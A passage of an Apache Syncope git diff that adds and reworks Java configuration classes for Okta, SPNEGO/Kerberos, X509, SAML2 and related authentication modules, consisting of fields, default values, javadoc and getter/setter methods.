Possibles values includes "code", "token" or "id_token". - */ - protected String responseType; - - public String getClientId() { - return clientId; - } - - public void setClientId(final String clientId) { - this.clientId = clientId; - } - - public String getClientSecret() { - return clientSecret; - } - - public void setClientSecret(final String clientSecret) { - this.clientSecret = clientSecret; - } - - public String getUserIdAttribute() { - return userIdAttribute; - } - - public void setUserIdAttribute(final String userIdAttribute) { - this.userIdAttribute = userIdAttribute; - } - - public String getDiscoveryUri() { - return discoveryUri; - } - - public void setDiscoveryUri(final String discoveryUri) { - this.discoveryUri = discoveryUri; - } - - public boolean isUseNonce() { - return useNonce; - } - - public void setUseNonce(final boolean useNonce) { - this.useNonce = useNonce; - } - - public String getScope() { - return scope; - } - - public void setScope(final String scope) { - this.scope = scope; - } - - public String getPreferredJwsAlgorithm() { - return preferredJwsAlgorithm; - } - - public void setPreferredJwsAlgorithm(final String preferredJwsAlgorithm) { - this.preferredJwsAlgorithm = preferredJwsAlgorithm; - } - - public String getMaxClockSkew() { - return maxClockSkew; - } - - public void setMaxClockSkew(final String maxClockSkew) { - this.maxClockSkew = maxClockSkew; - } - - public Map getCustomParams() { - return customParams; - } - - public String getResponseMode() { - return responseMode; - } - - public void setResponseMode(final String responseMode) { - this.responseMode = responseMode; - } - - public String getResponseType() { - return responseType; - } - - public void setResponseType(final String responseType) { - this.responseType = responseType; - } + private static final long serialVersionUID = -471527711042579422L; @Override public Map map(final AuthModuleTO authModule, final Mapper mapper) { diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/OktaAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/OktaAuthModuleConf.java new file mode 100644 index 00000000000..487d00d8407 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/OktaAuthModuleConf.java @@ -0,0 +1,52 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.auth; + +import java.util.Map; +import org.apache.syncope.common.lib.AbstractOktaConf; +import org.apache.syncope.common.lib.to.AuthModuleTO; + +public class OktaAuthModuleConf extends AbstractOktaConf implements AuthModuleConf { + + private static final long serialVersionUID = -696882546462937138L; + + /** + * A number of authentication handlers are allowed to determine whether they can operate on the provided credential + * and as such lend themselves to be tried and tested during the authentication handler selection phase. + * The credential criteria may be one of the following options:
      + *
    • A regular expression pattern that is tested against the credential identifier.
      • + *
    • A fully qualified class name of your own design that implements {@code Predicate}.
      • + *
    • Path to an external Groovy script that implements the same interface.
      • + *
    + */ + private String credentialCriteria; + + public String getCredentialCriteria() { + return credentialCriteria; + } + + public void setCredentialCriteria(final String credentialCriteria) { + this.credentialCriteria = credentialCriteria; + } + + @Override + public Map map(final AuthModuleTO authModule, final Mapper mapper) { + return mapper.map(authModule, this); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/SAML2IdPAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/SAML2IdPAuthModuleConf.java index be328542219..f4a3c1e983c 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/SAML2IdPAuthModuleConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/SAML2IdPAuthModuleConf.java @@ -41,6 +41,16 @@ public class SAML2IdPAuthModuleConf extends Pac4jAuthModuleConf implements AuthM */ protected SAML2BindingType destinationBinding = SAML2BindingType.REDIRECT; + /** + * The Service Provider metadata path. + */ + protected String serviceProviderMetadataPath; + + /** + * The path to the keystore. + */ + protected String keystorePath; + /** * The password to use when generating the SP keystore. */ @@ -118,6 +128,11 @@ public class SAML2IdPAuthModuleConf extends Pac4jAuthModuleConf implements AuthM */ protected String nameIdPolicyFormat; + /** + * Whether metadata should be marked to request response signed. + */ + protected boolean responsesSigned; + /** * Whether metadata should be marked to request sign assertions. */ @@ -202,6 +217,22 @@ public void setDestinationBinding(final SAML2BindingType destinationBinding) { this.destinationBinding = destinationBinding; } + public String getServiceProviderMetadataPath() { + return serviceProviderMetadataPath; + } + + public void setServiceProviderMetadataPath(final String serviceProviderMetadataPath) { + this.serviceProviderMetadataPath = serviceProviderMetadataPath; + } + + public String getKeystorePath() { + return keystorePath; + } + + public void setKeystorePath(final String keystorePath) { + this.keystorePath = keystorePath; + } + public String getKeystorePassword() { return keystorePassword; } @@ -302,6 +333,14 @@ public void setNameIdPolicyFormat(final String nameIdPolicyFormat) { this.nameIdPolicyFormat = nameIdPolicyFormat; } + public boolean isResponsesSigned() { + return responsesSigned; + } + + public void setResponsesSigned(final boolean responsesSigned) { + this.responsesSigned = responsesSigned; + } + public boolean isWantsAssertionsSigned() { return wantsAssertionsSigned; } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/SpnegoAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/SpnegoAuthModuleConf.java new file mode 100644 index 00000000000..df4431ec1ca --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/SpnegoAuthModuleConf.java @@ -0,0 +1,372 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.auth; + +import java.io.Serializable; +import java.util.Map; +import org.apache.syncope.common.lib.AbstractLDAPConf; +import org.apache.syncope.common.lib.to.AuthModuleTO; + +/** + * SPNEGO is an authentication technology that is primarily used to provide transparent CAS authentication to browsers + * running on Windows running under Active Directory domain credentials. There are three actors involved: the client, + * the CAS server, and the Active Directory Domain Controller/KDC. + */ +public class SpnegoAuthModuleConf implements LDAPDependantAuthModuleConf { + + private static final long serialVersionUID = -7775771400312303131L; + + public static class LDAP extends AbstractLDAPConf implements Serializable { + + private static final long serialVersionUID = -7274446267090678730L; + + } + + /** + * The Login conf.Absolute path to the jaas login configuration file. + * This should define the spnego authentication details. + * Make sure you have at least specified the JCIFS Service Principal defined. + */ + private String loginConf; + + /** + * The Kerberos conf. + * As with all Kerberos installations, a Kerberos Key Distribution Center (KDC) is required. + * It needs to contain the user name and password you will use to be authenticated to Kerberos. + * As with most Kerberos installations, a Kerberos configuration file krb5.conf is + * consulted to determine such things as the default realm and KDC. + * Typically, the default realm and the KDC for that realm are indicated in + * the Kerberos krb5.conf configuration file. + * The path to the configuration file must typically be defined + * as an absolute path. + */ + private String kerberosConf; + + /** + * The Kerberos kdc. + */ + private String kerberosKdc = "172.10.1.10"; + + /** + * The Jcifs service principal. + */ + private String jcifsServicePrincipal; + + /** + * The Kerberos realm. + */ + private String kerberosRealm = "EXAMPLE.COM"; + + /** + * The Kerberos debug. + */ + private boolean kerberosDebug; + + /** + * The Use subject creds only. + */ + private boolean useSubjectCredsOnly; + + /** + * If specified, will create the principal by ths name on successful authentication. + */ + private boolean principalWithDomainName; + + /** + * Allows authentication if spnego credential is marked as NTLM. + */ + private boolean ntlmAllowed = true; + + /** + * If the authenticated principal cannot be determined from the spegno credential, + * will set the http status code to 401. + */ + private boolean send401OnAuthenticationFailure = true; + + /** + * The bean id of a webflow action whose job is to evaluate the client host + * to see if the request is authorized for spnego. + * Supported strategies include {@code hostnameSpnegoClientAction} where + * CAS checks to see if the request’s remote hostname matches a predefine pattern. + * and {@code ldapSpnegoClientAction} where + * CAS checks an LDAP instance for the remote hostname, to locate a pre-defined attribute whose + * mere existence would allow the webflow to resume to SPNEGO. + */ + private String hostNameClientActionStrategy = "hostnameSpnegoClientAction"; + + /** + * LDAP settings for spnego to validate clients, etc. + */ + private LDAP ldap; + + /** + * When validating clients, specifies the DNS timeout used to look up an address. + */ + private String dnsTimeout = "PT2S"; + + /** + * A regex pattern that indicates whether the client host name is allowed for spnego. + */ + private String hostNamePatternString = ".+"; + + /** + * A regex pattern that indicates whether the client IP is allowed for spnego. + */ + private String ipsToCheckPattern = "127.+"; + + /** + * Alternative header name to use in order to find the host address. + */ + private String alternativeRemoteHostAttribute = "alternateRemoteHeader"; + + /** + * In case LDAP is used to validate clients, this is the attribute that indicates the host. + */ + private String spnegoAttributeName = "distinguishedName"; + + /** + * Determines the header to set and the message prefix when negotiating spnego. + */ + private boolean ntlm; + + /** + * If true, does not terminate authentication and allows CAS to resume + * and fallback to normal authentication means such as uid/psw via the login page. + * If disallowed, considers spnego authentication to be final in the event of failures. + */ + private boolean mixedModeAuthentication; + + /** + * Begins negotiating spnego if the user-agent is one of the supported browsers. + */ + private String supportedBrowsers = "MSIE,Trident,Firefox,AppleWebKit"; + + /** + * The size of the pool used to validate SPNEGO tokens. + * A pool is used to provider better performance than what was previously offered by the simple Lombok + * {@code Synchronized} annotation. + */ + private int poolSize = 10; + + /** + * The timeout of the pool used to validate SPNEGO tokens. + */ + private String poolTimeout = "PT2S"; + + /** + * Activated attribute repository identifiers that should be used for fetching attributes if attribute resolution is + * enabled. + * The list here may include identifiers separated by comma. + */ + private String attributeRepoId; + + @Override + public AbstractLDAPConf ldapInstance() { + return new SpnegoAuthModuleConf.LDAP(); + } + + public String getJcifsServicePrincipal() { + return jcifsServicePrincipal; + } + + public void setJcifsServicePrincipal(final String jcifsServicePrincipal) { + this.jcifsServicePrincipal = jcifsServicePrincipal; + } + + public String getAttributeRepoId() { + return attributeRepoId; + } + + public void setAttributeRepoId(final String attributeRepoId) { + this.attributeRepoId = attributeRepoId; + } + + public String getLoginConf() { + return loginConf; + } + + public void setLoginConf(final String loginConf) { + this.loginConf = loginConf; + } + + public String getKerberosConf() { + return kerberosConf; + } + + public void setKerberosConf(final String kerberosConf) { + this.kerberosConf = kerberosConf; + } + + public String getKerberosKdc() { + return kerberosKdc; + } + + public void setKerberosKdc(final String kerberosKdc) { + this.kerberosKdc = kerberosKdc; + } + + public String getKerberosRealm() { + return kerberosRealm; + } + + public void setKerberosRealm(final String kerberosRealm) { + this.kerberosRealm = kerberosRealm; + } + + public boolean isKerberosDebug() { + return kerberosDebug; + } + + public void setKerberosDebug(final boolean kerberosDebug) { + this.kerberosDebug = kerberosDebug; + } + + public boolean isUseSubjectCredsOnly() { + return useSubjectCredsOnly; + } + + public void setUseSubjectCredsOnly(final boolean useSubjectCredsOnly) { + this.useSubjectCredsOnly = useSubjectCredsOnly; + } + + public boolean isPrincipalWithDomainName() { + return principalWithDomainName; + } + + public void setPrincipalWithDomainName(final boolean principalWithDomainName) { + this.principalWithDomainName = principalWithDomainName; + } + + public boolean isNtlmAllowed() { + return ntlmAllowed; + } + + public void setNtlmAllowed(final boolean ntlmAllowed) { + this.ntlmAllowed = ntlmAllowed; + } + + public boolean isSend401OnAuthenticationFailure() { + return send401OnAuthenticationFailure; + } + + public void setSend401OnAuthenticationFailure(final boolean send401OnAuthenticationFailure) { + this.send401OnAuthenticationFailure = send401OnAuthenticationFailure; + } + + public String getHostNameClientActionStrategy() { + return hostNameClientActionStrategy; + } + + public void setHostNameClientActionStrategy(final String hostNameClientActionStrategy) { + this.hostNameClientActionStrategy = hostNameClientActionStrategy; + } + + public LDAP getLdap() { + return ldap; + } + + public void setLdap(final LDAP ldap) { + this.ldap = ldap; + } + + public String getDnsTimeout() { + return dnsTimeout; + } + + public void setDnsTimeout(final String dnsTimeout) { + this.dnsTimeout = dnsTimeout; + } + + public String getHostNamePatternString() { + return hostNamePatternString; + } + + public void setHostNamePatternString(final String hostNamePatternString) { + this.hostNamePatternString = hostNamePatternString; + } + + public String getIpsToCheckPattern() { + return ipsToCheckPattern; + } + + public void setIpsToCheckPattern(final String ipsToCheckPattern) { + this.ipsToCheckPattern = ipsToCheckPattern; + } + + public String getAlternativeRemoteHostAttribute() { + return alternativeRemoteHostAttribute; + } + + public void setAlternativeRemoteHostAttribute(final String alternativeRemoteHostAttribute) { + this.alternativeRemoteHostAttribute = alternativeRemoteHostAttribute; + } + + public String getSpnegoAttributeName() { + return spnegoAttributeName; + } + + public void setSpnegoAttributeName(final String spnegoAttributeName) { + this.spnegoAttributeName = spnegoAttributeName; + } + + public boolean isNtlm() { + return ntlm; + } + + public void setNtlm(final boolean ntlm) { + this.ntlm = ntlm; + } + + public boolean isMixedModeAuthentication() { + return mixedModeAuthentication; + } + + public void setMixedModeAuthentication(final boolean mixedModeAuthentication) { + this.mixedModeAuthentication = mixedModeAuthentication; + } + + public String getSupportedBrowsers() { + return supportedBrowsers; + } + + public void setSupportedBrowsers(final String supportedBrowsers) { + this.supportedBrowsers = supportedBrowsers; + } + + public int getPoolSize() { + return poolSize; + } + + public void setPoolSize(final int poolSize) { + this.poolSize = poolSize; + } + + public String getPoolTimeout() { + return poolTimeout; + } + + public void setPoolTimeout(final String poolTimeout) { + this.poolTimeout = poolTimeout; + } + + @Override + public Map map(final AuthModuleTO authModule, final Mapper mapper) { + return mapper.map(authModule, this); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/StaticAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/StaticAuthModuleConf.java index cc0c064a6b7..201783e301f 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/StaticAuthModuleConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/StaticAuthModuleConf.java @@ -26,8 +26,27 @@ public class StaticAuthModuleConf implements AuthModuleConf { private static final long serialVersionUID = -7775771400318503131L; + /** + * A number of authentication handlers are allowed to determine whether they can operate on the provided credential + * and as such lend themselves to be tried and tested during the authentication handler selection phase. + * The credential criteria may be one of the following options:
      + *
    • A regular expression pattern that is tested against the credential identifier.
      • + *
    • A fully qualified class name of your own design that implements {@code Predicate}.
      • + *
    • Path to an external Groovy script that implements the same interface.
      • + *
    + */ + private String credentialCriteria; + private final Map users = new HashMap<>(); + public String getCredentialCriteria() { + return credentialCriteria; + } + + public void setCredentialCriteria(final String credentialCriteria) { + this.credentialCriteria = credentialCriteria; + } + public Map getUsers() { return users; } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/SyncopeAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/SyncopeAuthModuleConf.java index 109c858ebe3..6f565d974ef 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/SyncopeAuthModuleConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/SyncopeAuthModuleConf.java @@ -28,6 +28,17 @@ public class SyncopeAuthModuleConf implements AuthModuleConf { private String domain = SyncopeConstants.MASTER_DOMAIN; + /** + * A number of authentication handlers are allowed to determine whether they can operate on the provided credential + * and as such lend themselves to be tried and tested during the authentication handler selection phase. + * The credential criteria may be one of the following options:
      + *
    • A regular expression pattern that is tested against the credential identifier.
      • + *
    • A fully qualified class name of your own design that implements {@code Predicate}.
      • + *
    • Path to an external Groovy script that implements the same interface.
      • + *
    + */ + private String credentialCriteria; + public String getDomain() { return domain; } @@ -36,6 +47,14 @@ public void setDomain(final String domain) { this.domain = domain; } + public String getCredentialCriteria() { + return credentialCriteria; + } + + public void setCredentialCriteria(final String credentialCriteria) { + this.credentialCriteria = credentialCriteria; + } + @Override public Map map(final AuthModuleTO authModule, final Mapper mapper) { return mapper.map(authModule, this); diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/X509AuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/X509AuthModuleConf.java new file mode 100644 index 00000000000..33fbba8ee47 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/X509AuthModuleConf.java @@ -0,0 +1,528 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.auth; + +import java.io.Serializable; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import org.apache.syncope.common.lib.AbstractLDAPConf; +import org.apache.syncope.common.lib.to.AuthModuleTO; +import org.apache.syncope.common.lib.types.X509PolicySetting; +import org.apache.syncope.common.lib.types.X509PrincipalType; +import org.apache.syncope.common.lib.types.X509RevocationCheckerType; +import org.apache.syncope.common.lib.types.X509RevocationFetcherType; +import org.apache.syncope.common.lib.types.X509SubjectDnFormat; + +public class X509AuthModuleConf implements LDAPDependantAuthModuleConf { + + private static final long serialVersionUID = 1915254775199296906L; + + public static class LDAP extends AbstractLDAPConf implements Serializable { + + private static final long serialVersionUID = -7274446267090678730L; + + /** + * The LDAP attribute that holds the certificate revocation list. + */ + private String certificateAttribute = "certificateRevocationList"; + + public String getCertificateAttribute() { + return certificateAttribute; + } + + public void setCertificateAttribute(final String certificateAttribute) { + this.certificateAttribute = certificateAttribute; + } + } + + /** + * The authentication handler name. + */ + private String name; + + /** + * The order of the authentication handler in the chain. + */ + private int order = Integer.MAX_VALUE; + + /** + * Threshold value if expired CRL revocation policy is to be handled via threshold. + */ + private int revocationPolicyThreshold = 172_800; + + /** + * Whether revocation checking should check all resources, or stop at first one. + */ + private boolean checkAll; + + /** + * The refresh interval of the internal scheduler in cases where CRL revocation checking + * is done via resources. + */ + private int refreshIntervalSeconds = 3_600; + + /** + * When CRL revocation checking is done via distribution points, + * decide if fetch failures should throw errors. + */ + private boolean throwOnFetchFailure; + + private X509PrincipalType principalType = X509PrincipalType.SUBJECT_DN; + + /** + * Relevant for {@code CN_EDIPI}, {@code RFC822_EMAIL}, {@code SUBJECT}, {@code SUBJECT_ALT_NAME} principal types. + */ + private String principalAlternateAttribute; + + /** + * Relevant for {@code SUBJECT_DN} principal type. + */ + private X509SubjectDnFormat principalTypeSubjectDnFormat = X509SubjectDnFormat.DEFAULT; + + /** + * Relevant for {@code SERIAL_NO_DN} principal type. + * The serial number prefix used for principal resolution. + */ + private String principalTypeSerialNoDnSerialNumberPrefix = "SERIALNUMBER="; + + /** + * Relevant for {@code SERIAL_NO_DN} principal type. + * Value delimiter used for principal resolution. + */ + private String principalTypeSerialNoDnValueDelimiter = ", "; + + /** + * Relevant for {@code SERIAL_NO} principal type. + * Radix used. + */ + private int principalTypeSerialNoSNRadix; + + /** + * Relevant for {@code SERIAL_NO} principal type. + * If radix hex padding should be used. + */ + private boolean principalTypeSerialNoHexSNZeroPadding; + + /** + * Revocation certificate checking is carried out according to this setting. + */ + private X509RevocationCheckerType revocationChecker = X509RevocationCheckerType.NONE; + + /** + * Options to describe how to fetch CRL resources. + */ + private X509RevocationFetcherType crlFetcher = X509RevocationFetcherType.RESOURCE; + + /** + * List of CRL resources to use for fetching. + */ + private final List crlResources = new ArrayList<>(0); + + /** + * When CRLs are cached, indicate maximum number of elements kept in memory. + */ + private int cacheMaxElementsInMemory = 1_000; + + /** + * When CRLs are cached, indicate whether cache should overflow to disk. + */ + private boolean cacheDiskOverflow; + + /** + * Size of cache on disk. + */ + private String cacheDiskSize = "100MB"; + + /** + * When CRLs are cached, indicate if cache items should be eternal. + */ + private boolean cacheEternal; + + /** + * Determine whether X509 authentication should allow other forms of authentication such as username/password. + * If this setting is turned off, typically the ability to view the login form as the primary form of + * authentication is turned off. + */ + private boolean mixedMode = true; + + /** + * When CRLs are cached, indicate the time-to-live of cache items. + */ + private long cacheTimeToLiveSeconds = TimeUnit.HOURS.toSeconds(4); + + /** + * If the CRL resource is unavailable, activate the this policy. + */ + private X509PolicySetting crlResourceUnavailablePolicy = X509PolicySetting.DENY; + + /** + * If the CRL resource has expired, activate the this policy. + * Activated if {@link #revocationChecker} is {@code RESOURCE}. + */ + private X509PolicySetting crlResourceExpiredPolicy = X509PolicySetting.DENY; + + /** + * If the CRL is unavailable, activate the this policy. + * Activated if {@link #revocationChecker} is {@code CRL}. + */ + private X509PolicySetting crlUnavailablePolicy = X509PolicySetting.DENY; + + /** + * If the CRL has expired, activate the this policy. + * Activated if {@link #revocationChecker} is {@code CRL}. + */ + private X509PolicySetting crlExpiredPolicy = X509PolicySetting.DENY; + + /** + * The compiled pattern supplied by the deployer. + */ + private String regExTrustedIssuerDnPattern; + + /** + * Deployer supplied setting for maximum pathLength in a SUPPLIED + * certificate. + */ + private int maxPathLength = 1; + + /** + * Deployer supplied setting to allow unlimited pathLength in a SUPPLIED + * certificate. + */ + private boolean maxPathLengthAllowUnspecified = false; + + /** + * Deployer supplied setting to check the KeyUsage extension. + */ + private boolean checkKeyUsage = false; + + /** + * Deployer supplied setting to force require the correct KeyUsage + * extension. + */ + private boolean requireKeyUsage = false; + + /** + * The pattern that authorizes an acceptable certificate by its subject dn. + */ + private String regExSubjectDnPattern = ".+"; + + /** + * Whether to extract certificate from request. + * The default implementation extracts certificate from header via Tomcat SSLValve parsing logic + * and using the {@link #sslHeaderName} header. + * Must be false by default because if someone enables it they need to make sure they are + * behind proxy that won't let the header arrive directly from the browser. + */ + private boolean extractCert; + + /** + * The name of the header to consult for an X509 cert (e.g. when behind proxy). + */ + private String sslHeaderName = "ssl_client_cert"; + + private LDAP ldap; + + @Override + public AbstractLDAPConf ldapInstance() { + return new X509AuthModuleConf.LDAP(); + } + + public String getName() { + return name; + } + + public void setName(final String name) { + this.name = name; + } + + public int getOrder() { + return order; + } + + public void setOrder(final int order) { + this.order = order; + } + + public int getRevocationPolicyThreshold() { + return revocationPolicyThreshold; + } + + public void setRevocationPolicyThreshold(final int revocationPolicyThreshold) { + this.revocationPolicyThreshold = revocationPolicyThreshold; + } + + public boolean isCheckAll() { + return checkAll; + } + + public void setCheckAll(final boolean checkAll) { + this.checkAll = checkAll; + } + + public int getRefreshIntervalSeconds() { + return refreshIntervalSeconds; + } + + public void setRefreshIntervalSeconds(final int refreshIntervalSeconds) { + this.refreshIntervalSeconds = refreshIntervalSeconds; + } + + public boolean isThrowOnFetchFailure() { + return throwOnFetchFailure; + } + + public void setThrowOnFetchFailure(final boolean throwOnFetchFailure) { + this.throwOnFetchFailure = throwOnFetchFailure; + } + + public X509PrincipalType getPrincipalType() { + return principalType; + } + + public void setPrincipalType(final X509PrincipalType principalType) { + this.principalType = principalType; + } + + public String getPrincipalAlternateAttribute() { + return principalAlternateAttribute; + } + + public void setPrincipalAlternateAttribute(final String principalAlternateAttribute) { + this.principalAlternateAttribute = principalAlternateAttribute; + } + + public X509SubjectDnFormat getPrincipalTypeSubjectDnFormat() { + return principalTypeSubjectDnFormat; + } + + public void setPrincipalTypeSubjectDnFormat(final X509SubjectDnFormat principalTypeSubjectDnFormat) { + this.principalTypeSubjectDnFormat = principalTypeSubjectDnFormat; + } + + public String getPrincipalTypeSerialNoDnSerialNumberPrefix() { + return principalTypeSerialNoDnSerialNumberPrefix; + } + + public void setPrincipalTypeSerialNoDnSerialNumberPrefix(final String principalTypeSerialNoDnSerialNumberPrefix) { + this.principalTypeSerialNoDnSerialNumberPrefix = principalTypeSerialNoDnSerialNumberPrefix; + } + + public String getPrincipalTypeSerialNoDnValueDelimiter() { + return principalTypeSerialNoDnValueDelimiter; + } + + public void setPrincipalTypeSerialNoDnValueDelimiter(final String principalTypeSerialNoDnValueDelimiter) { + this.principalTypeSerialNoDnValueDelimiter = principalTypeSerialNoDnValueDelimiter; + } + + public int getPrincipalTypeSerialNoSNRadix() { + return principalTypeSerialNoSNRadix; + } + + public void setPrincipalTypeSerialNoSNRadix(final int principalTypeSerialNoSNRadix) { + this.principalTypeSerialNoSNRadix = principalTypeSerialNoSNRadix; + } + + public boolean isPrincipalTypeSerialNoHexSNZeroPadding() { + return principalTypeSerialNoHexSNZeroPadding; + } + + public void setPrincipalTypeSerialNoHexSNZeroPadding(final boolean principalTypeSerialNoHexSNZeroPadding) { + this.principalTypeSerialNoHexSNZeroPadding = principalTypeSerialNoHexSNZeroPadding; + } + + public X509RevocationCheckerType getRevocationChecker() { + return revocationChecker; + } + + public void setRevocationChecker(final X509RevocationCheckerType revocationChecker) { + this.revocationChecker = revocationChecker; + } + + public X509RevocationFetcherType getCrlFetcher() { + return crlFetcher; + } + + public void setCrlFetcher(final X509RevocationFetcherType crlFetcher) { + this.crlFetcher = crlFetcher; + } + + public int getCacheMaxElementsInMemory() { + return cacheMaxElementsInMemory; + } + + public void setCacheMaxElementsInMemory(final int cacheMaxElementsInMemory) { + this.cacheMaxElementsInMemory = cacheMaxElementsInMemory; + } + + public boolean isCacheDiskOverflow() { + return cacheDiskOverflow; + } + + public void setCacheDiskOverflow(final boolean cacheDiskOverflow) { + this.cacheDiskOverflow = cacheDiskOverflow; + } + + public String getCacheDiskSize() { + return cacheDiskSize; + } + + public void setCacheDiskSize(final String cacheDiskSize) { + this.cacheDiskSize = cacheDiskSize; + } + + public boolean isCacheEternal() { + return cacheEternal; + } + + public void setCacheEternal(final boolean cacheEternal) { + this.cacheEternal = cacheEternal; + } + + public boolean isMixedMode() { + return mixedMode; + } + + public void setMixedMode(final boolean mixedMode) { + this.mixedMode = mixedMode; + } + + public long getCacheTimeToLiveSeconds() { + return cacheTimeToLiveSeconds; + } + + public void setCacheTimeToLiveSeconds(final long cacheTimeToLiveSeconds) { + this.cacheTimeToLiveSeconds = cacheTimeToLiveSeconds; + } + + public X509PolicySetting getCrlResourceUnavailablePolicy() { + return crlResourceUnavailablePolicy; + } + + public void setCrlResourceUnavailablePolicy(final X509PolicySetting crlResourceUnavailablePolicy) { + this.crlResourceUnavailablePolicy = crlResourceUnavailablePolicy; + } + + public X509PolicySetting getCrlResourceExpiredPolicy() { + return crlResourceExpiredPolicy; + } + + public void setCrlResourceExpiredPolicy(final X509PolicySetting crlResourceExpiredPolicy) { + this.crlResourceExpiredPolicy = crlResourceExpiredPolicy; + } + + public X509PolicySetting getCrlUnavailablePolicy() { + return crlUnavailablePolicy; + } + + public void setCrlUnavailablePolicy(final X509PolicySetting crlUnavailablePolicy) { + this.crlUnavailablePolicy = crlUnavailablePolicy; + } + + public X509PolicySetting getCrlExpiredPolicy() { + return crlExpiredPolicy; + } + + public void setCrlExpiredPolicy(final X509PolicySetting crlExpiredPolicy) { + this.crlExpiredPolicy = crlExpiredPolicy; + } + + public List getCrlResources() { + return crlResources; + } + + public String getRegExTrustedIssuerDnPattern() { + return regExTrustedIssuerDnPattern; + } + + public void setRegExTrustedIssuerDnPattern(final String regExTrustedIssuerDnPattern) { + this.regExTrustedIssuerDnPattern = regExTrustedIssuerDnPattern; + } + + public int getMaxPathLength() { + return maxPathLength; + } + + public void setMaxPathLength(final int maxPathLength) { + this.maxPathLength = maxPathLength; + } + + public boolean isMaxPathLengthAllowUnspecified() { + return maxPathLengthAllowUnspecified; + } + + public void setMaxPathLengthAllowUnspecified(final boolean maxPathLengthAllowUnspecified) { + this.maxPathLengthAllowUnspecified = maxPathLengthAllowUnspecified; + } + + public boolean isCheckKeyUsage() { + return checkKeyUsage; + } + + public void setCheckKeyUsage(final boolean checkKeyUsage) { + this.checkKeyUsage = checkKeyUsage; + } + + public boolean isRequireKeyUsage() { + return requireKeyUsage; + } + + public void setRequireKeyUsage(final boolean requireKeyUsage) { + this.requireKeyUsage = requireKeyUsage; + } + + public String getRegExSubjectDnPattern() { + return regExSubjectDnPattern; + } + + public void setRegExSubjectDnPattern(final String regExSubjectDnPattern) { + this.regExSubjectDnPattern = regExSubjectDnPattern; + } + + public boolean isExtractCert() { + return extractCert; + } + + public void setExtractCert(final boolean extractCert) { + this.extractCert = extractCert; + } + + public String getSslHeaderName() { + return sslHeaderName; + } + + public void setSslHeaderName(final String sslHeaderName) { + this.sslHeaderName = sslHeaderName; + } + + public LDAP getLdap() { + return ldap; + } + + public void setLdap(final LDAP ldap) { + this.ldap = ldap; + } + + @Override + public Map map(final AuthModuleTO authModule, final Mapper mapper) { + return mapper.map(authModule, this); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/AbstractAttributeProviderConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/AbstractAttributeProviderConf.java new file mode 100644 index 00000000000..7cce2e9fbf6 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/AbstractAttributeProviderConf.java @@ -0,0 +1,62 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions 